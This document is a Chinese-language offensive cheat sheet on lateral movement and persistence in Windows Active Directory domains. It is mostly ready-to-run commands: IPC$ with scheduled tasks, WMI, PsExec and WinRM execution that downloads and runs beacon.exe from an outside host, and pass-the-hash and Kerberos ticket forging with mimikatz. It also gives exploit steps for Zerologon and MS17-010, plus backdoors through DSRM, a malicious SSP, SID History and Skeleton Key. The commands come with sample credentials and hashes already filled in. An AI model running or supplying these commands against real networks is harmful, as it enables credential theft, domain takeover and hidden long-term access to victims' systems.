IPC连接横向
以下操作都是在我们知道用户和密码的情况下进行验证的,前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典,进行上面的批量验证
关于IPC$+计划任务的横向,我们的目的非常明确:
(1)首先建立向目标主机的IPC$连接
(2)其次把命令执行的脚本传到目标主机
(3)再次创建计划任务在目标机器上执行命令脚本
(4)最后过河拆桥删除IPC$连接
当然想要用IPC$来横向是有条件的:
(1)目标机器没有禁用IPC连 接 , 没 有 什 么 防 火 防 盗 拦 截 I P C 连接,没有什么防火防盗拦截IPC连接,没有什么防火防盗拦截IPC,139 445 端口也开了(能走445走445,不能则走139)
(2)目标机器小管理员开了IPC$默认共享服务(逻辑盘、系统目录;都不开我访问个啥?)
(3)获取了目标机器的小管理员的管理员权限的账号密码(最好是域管理员账号密码),明文的
net use \\server\ipc$ "password" /user:username # 工作组
net use \\server\ipc$ "password" /user:domain\username #域内
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\<IP>(目标ip)\ipc$ password(目标主机名) /user:username(目标主机名)
net use //查看当前主机所建立的连接
dir \\IP(目标ip)\c$ 查看C盘目录
映射对方c盘到自己本地
net use z: \\ip\c$ password /user:Administrator //把目标C盘映射到本地z盘(未建立ipc连接的情况下)
net use z: \\ip\c$ //把目标C盘映射到本地z盘(已建立ipc连接的情况下)
net use \\192.168.1.136\ipc$ /del #删除ipc$
net use z: /del #删除映射
windows<2012 用at命令创建计划任务
net time \\192.168.1.136 查看靶机时间
copy <木马在本机位置> \\<靶机ip>\c$ 将木马传到靶机
at \\<靶机ip> <启动时间> <木马在靶机的位置> 创建计划任务执行木马
at \\192.168.52.141 1 /delete 删除计划任务 1位计划任务id
windows>2012 用户schtasks命令
schtasks /create /s 192.168.1.136 /u administrator /p password /tn c /tr c:/shell.exe /sc once /st 14:34
#/s 目标 /u 用户名 /p 密码 /tn 指定文件名 /tr 指定文件路径 /sc 执行次数 或频率 /st 开始时间
schtasks /create /s 192.168.1.136 /tn c /tr c:/shell.exe /sc once /st 14:34 #在已经连接ipc$ 可以使用这一条 但是很可能出现错误:拒绝访问
schtasks /query /s 192.168.1.136 /u administrator /p password /TN c #查看任务计划
schtasks /delete /s 192.168.1.136 /u administrator /p password /tn c #删除任务计划
上线(正向)对方不出网
创建监听器->beacon_bind_tcp->beacon.exe
connect 192.168.3.32 4444
第三方工具atexec
在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量测试
atexec.exe ./administrator:123@.com@10.0.0.1 "whoami"
atexec.exe tencent/administrator:123@.com@10.0.0.1 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@10.0.0.1 "whoami"
第三方软件缺点:容易被杀毒软件查杀,需要做免杀处理。
基于smb&wmi横向
WMI是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,
并且该方法不会在目标日志系统留下痕迹。
1.wmic(#WMI横向-cscript&wmiexec&wmic)
内部:(单执行)
wmic /node:192.168.3.32/user:administrator /password:admin!@#45 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"
wmic /node:192.168.3.32/user:administrator /password:admin!@#45 process call create "cmd.exe c:/beacon.exe"
2.cscript
内置:(交互式)
上传wmiexec.vbs
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
3.wmiexec
外部:(交互式&单执行)
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c./administrator@192.168.3.32"whoami"
下载后门:
wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"
执行后门:
wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c c:/beacon.exe"
1.psexec(#SMB横向-psexec&smbexec&services)
内部:(交互式 windows官方工具)
psexec64 \\192.168.3.32 -u administrator -p admin!@#45 -s cmd
外部:(交互式 内网外人开发的工具)
psexec -hashes :518b98ad4178a53695dc997aa02d455c./administrator@192.168.3.32
引用MSF回显反弹接受CMD
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
spawn msf
2.smbexec
外部:(交互式)
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec god/administrator:admin!@#45@192.168.3.32
smbexec -hashes :518b98ad4178a53695dc997aa02d455c./administrator@192.168.3.32
smbexec -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32
smbexec -hashes god/administrator:518b98ad4178a53695dc997aa02d455c@192.168.3.32
3.services
内置:(单执行)
services -hashes :518b98ad4178a53695dc997aa02d455c./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\Windows\System32\shell.exe
services -hashes :518b98ad4178a53695dc997aa02d455c./administrator:@192.168.3.32 start -name shell
PTH&PTK&PTT配合CrackMap
PTH(pass the hash) #利用的lm或ntlm的值进行的渗透测试(NTLM认证攻击)
PTK(pass the key) #利用的ekeys aes256进行的渗透测试(NTLM认证攻击)
PTT(pass the ticket) #利用的票据凭证TGT进行渗透测试(Kerberos认证攻击)
PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击,
总结:KB2871997补丁后的影响
pth:没打补丁用户都可以连接,打了补丁只能administrator连接
ptk:打了补丁才能用户都可以连接,采用aes256连接
PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。
MS14-068基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)
其中Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术
MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780。
#域横向移动PTH传递-mimikatz
tip:目标主机会返回一个cmd窗口,通过进程窃取或者屏幕控制
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.21/ntlm:ccef208c6485269c20db2cad21734fe7
net use \\192.168.3.21\c$
copy beacon.exe \\192.168.3.21\c$
sc \\OWA2010CN-GOD create bindshell binpath="c:\beacon.exe"
sc \\OWA2010CN-GOD start bindshell
#域横向移动PTK传递-mimikatz
(mimikatz "sekurlsa::ekeys"获取aes256_hmac)
sekurlsa::pth /user:administrator /domain:god /aes256:64f2cda9c6aa77302edc1362fd1a1c49cf4bd8c4f52ea7a17a2741b67a278fad
sekurlsa::pth /user:administrator /domain:god /aes256:2420dceacdbc441dc41375b0bf2bb28c5d0fe5df008115b57698a21a095aa9a1
#域横向移动PTT传递-ms14068&kekeo&local
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。
它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC。
该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。
用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.
#域横向移动自动化平台-MSF&CrackMapExec
1、MSF
批扫
use auxiliary/scanner/smb/smb_login
set threads 10
set rhosts 192.168.3.0/24
set smbdomain god
set user_file /root/user.txt
set pass_file /root/pass.txt
run
利用
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set RHOSTS 192.168.3.32
set smbuser administrator
set smbpass admin!@#45
run
2、CrackMapExec
官方手册:https://mpgn.gitbook.io/crackmapexec/
部分案例:https://www.freebuf.com/sectool/184573.html
下载对应release,建立socks连接,设置socks代理,配置规则,调用!
Winrm&Winrs&RDP&SPN-Kerberos
#域横向移动Winrm&Winrs-命令&CS
WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。
默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。
移动条件:双方都启用的Winrm rs的服务!
使用此服务需要管理员级别凭据。
Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;
Windows 2012之后的版本默认允许远程任意主机来管理。
1.探针可用:
cs 内置端口扫描5985
powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
2.连接执行:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami
3.上线CS&MSF:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c c:/beacon.exe"
4.CS内置移动
#域横向移动RDP连接-命令&mimikatz
远程桌面服务 支持明文及HASH连接
条件:对方开启RDP服务 远程桌面
1.探针服务:
cs 内置端口扫描3389
tasklist /svc | find "TermService" # 找到对应服务进程的PID
netstat -ano | find "PID值" # 找到进程对应的端口号
2.探针连接:
CrackMapExec&MSF 批扫用户名-密码验证
3.连接执行:
明文连接:
mstsc /console /v:192.168.3.32 /admin
HASH连接:
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"
#域横向移动SPN技术-扫描&Kerberos
https://github.com/nidem/kerberoast
https://www.freebuf.com/articles/system/174967.html
如需利用需要配置策略加密方式(对比)
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。
DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。
请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。
黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。
如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。
Exchange&域控提权&MS17010漏洞
#横向移动-内网域系统漏洞-MS17010-MSF
漏洞说明:永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码
漏洞影响:Windows XP、 Windows Server 2003. Windows Vista、Windows Server 2008、 Windows 7. Windows Server2008 R2、Windows 8.1、Windows Server 2012. Windows10、Windows Server 2012 R2、Windows Server 2016
1、探针漏洞模块-MSF
use auxiliary/scanner/smb/smb_ms17_010
2、漏洞利用模块-MSF
use exploit/windows/smb/ms17_010_psexec
#横向移动-内网域服务漏洞-Exchange-Exp&Ladon
相关漏洞:https://www.cnblogs.com/xiaozi/p/14481595.html
1、探针服务
setspn -q */*
2、漏洞探针-Ladon
CVE-2020-17144
3、利用漏洞
CVE-2020-17144 0day.org
https://github.com/Airboi/CVE-2020-17144-EXP
#横向移动-内网域提权漏洞-CVE-2020-17144-EXP
漏洞说明:2020年08月12日,Windows官方 发布了 NetLogon 特权提升漏洞 的风险通告,该漏洞编号为 CVE-2020-1472,漏洞等级:严重,漏洞评分:10分;攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序
利用:
impacket导hash:(安装sudo pip3 install .)
https://github.com/SecureAuthCorp/impacket
重置域内管理员密码:
https://github.com/dirkjanm/CVE-2020-1472
恢复密码:
https://github.com/risksense/zerologon
1、连接DC清空凭证:
proxychains python cve-2020-1472-exploit.py OWA2010CN-GOD 192.168.3.21
2、获取域内HASH:
proxychains python secretsdump.py OWA2010CN-GOD\$@192.168.3.21 -just-dc -no-pass
后续HASH渗透测试前需要恢复:
权限维持
黄金白银票据
KDC(Key Distribution Center)密钥分发中心。
在KDC中又分为两个部分:Authentication Service(AS,身份验证服务)和Ticket Granting Service(TGS,票据授权服务)
AD会维护一个Account Database(账户数据库). 它存储了域中所有用户的密码Hash和白名单。只有账户密码都在白名单中的Client才能申请到TGT。
Kerberos认证的大概流程:
当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,验证通过后AS会发放的一个TGT,随后Client再次向TGS证明自己的身份,验证通过后TGS会发放一个ST,最后Client向 Server 发起认证请求,这个过程分为三块:
Client 与 AS 的交互, 发放TGT
Client 与 TGS 的交互, 发放ST
Client 与 Server 的交互。
黄金票据是伪造TGT,白银票据则是伪造ST
黄金票据
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
伪造金票的场景和所需条件#
黄金票据的利用常用于权限维持阶段。假设这么一种情况,我们已拿到的域内所有的账户Hash,包括krbtgt账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。
(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)
所需条件
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
先前利用mimikatz拿到了域管理权限时获取的域的SID和KRBTGT账号的NTLM HASH
privilege::debug
lsadump::lsa /patch /name:krbtgt
token::elevate
lsadump::sam
在普通域用户中使用mimikatz生成黄金票据.kirbi文件并保存
kerberos::golden /user:administrator /domain:hacke.testlab /sid:S-1-5-21-954094320-202977030-1482179831 /krbtgt:ac923e1d7f56e0adf967356b8d41953e /ticket:ticket.kirbi
/user:需要伪造的域管理员用户
/domain:域名称
/sid:SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID值,注意是去掉最后一个-后面的值!)
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称
第二步用mimikatz清除票据
kerberos::purge \\清除票据
kerberos::tgt \\查看票据
第三步用mimikatz导入票据
kerberos::ptt ticket.kirbi
此时尝试创建一个的域管账号,命令执行成功
net user aaa !@#qwe123 /add /domain
net group "domain admins" aaa /add/domain
白银票据
原理#
白银票据就是伪造的ST。
在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
伪造银票所需条件
1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH
6.需要伪造的用户名
在域控中使用mimikatz获取相关信息
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
回到域内低权限的账号
先使用mimikatz清空票据,再导入伪造的票据,具体伪造票据的命令:
kerberos::golden /domain:hacke.testlab /sid:S-1-5-21-954094320-202977030-1482179831 /target:DC.hacke.testlab /service:cifs /rc4:2c7f354c971b062e1e42f12a30709a7f /user:aaa /ptt
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服务账号NTMLHASH /user:用户名 /ptt
其中的用户名可以随便写
服务类型可以从以下内容中来进行选择,因为没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造
金票和银票的区别#
获取的权限不同#
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS
认证流程不同#
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
DSRM域后门
DSRM是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账号(也就是DSRM账号)。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。
在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。每个DC都有DSRM账号,DSRM账号可以作为每个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
ntdsutil // 进入ntdsutil
set dsrm password // 设置DSRM账户的密码
reset password on server null // 在当前域控制器上恢复DSRM密码
// 输入新密码
// 重新输入新密码
q //退出DSRM密码设置模式
q // 退出ntdsutil
如果域控制器的系统版本为Windows Server 2008及其以上可以将DSRM密码同步为已存在的域账号密码。(Windows Server 2008版本的系统需要安装 KB961320 补丁 )
ntdsutil //进入ntdsutil
set dsrm password //设置DSRM账户的密码
sync from domain account domainusername //使DSRM的密码和指定的的domainusername域用户的密码同步
q //退出DSRM密码设置模式
q //退出ntdsutil
修改dsrm登录方式
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
利用PTH传递攻击
privilege::debug
sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5
dir \\owa2010cn-god\c$
总结:利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krgtgt进行PTH攻击,实现持续化控制,但适用于系统=>windows server2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
SSP维持域控权限
SSP介绍#
SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单的说,SSP就是一个DLL文件,主要用来实现Windows操作系统的身份认证功能
如果获得了域控的System权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为Windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。
使用mimikatz将伪造的SSP注入内存#
privilege::debug
misc::memssp
将伪造的SSP注入内存中了,只要域控用户重新登录,那么密码就会被记录在 C:\Windows\System32\mimilsa.log 中
优点:这种方法不会在系统中留下二进制文件,
缺点:但域控重启,被注入内存的伪造SSP就会丢失。
将 mimikatz中的 mimilib.dll放到系统目录#
修改注册表 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 Security Packages 项,将下面的命令添加进去,让其加载新的DLL文件"mimilib.dll"
kerberos
msv1_0
schannel
wdigest
tspkg
pku2u
mimilib.dll
系统重启后,DLL将会被成功加载,用户在登录时输入的账号密码将会被记录在 C:\Windows\System32\kiwissp.log中
优点:即使系统重启,也不会影响持久化效果;
缺点:但是会在目标主机上留下二进制文件。易被发现
SID History 域后门
说到SID大家应该都不陌生,每个用户都有自己的SID,相当于身份证,而SID History是在域迁移过程中需要使用的一个属性,作用是在域迁移的过程中保持用户的访问权限。在渗透测试中,如果获得了域管理员的权限,就可以利用mimikatz将SID history作为实现持久化的方法
首先创建一个恶意用户testuser,使用powershell查看用户的SID History
Import-Module activedirectory
Get-ADUser testuser -Properties sidhistory
在域控上使用mimikatz来操作, 将域管理员Administrator的SID添加到恶意域用户testuser的SID History属性中。
privilege::debug sid::patch #使用
sid::patch 命令修复NTDS服务
sid::add /sam:hack /new:Administrator #将Administrator的SID添加到test的SID History属性中
这个用户没在域管理员组,却也有域管理员的权限,这就降低了被发现的可能
万能密码Skeleton Key
mimikatz的MISC::Skeleton,在 DC 中注入万能钥匙(Skeleton Key) 到 LSASS 进程中。这使得所有用户所使用的万能钥匙修补DC使用"主密码” (又名万能钥匙)以及他们自己通常使用的密码进行身份验证。
域控制器中使用mimikatz注入Skeleton Key
privilege::debug
misc::skeleton
系统提示 Skeleton Key已经注入成功。此时,会在域内的所有账号中添加一个 Skeleton Key其密码默认为“ mimikatz"。接下来,就可以以域内任意用户的身份,配合该 Skeleton Key,进行域内身份授权验证了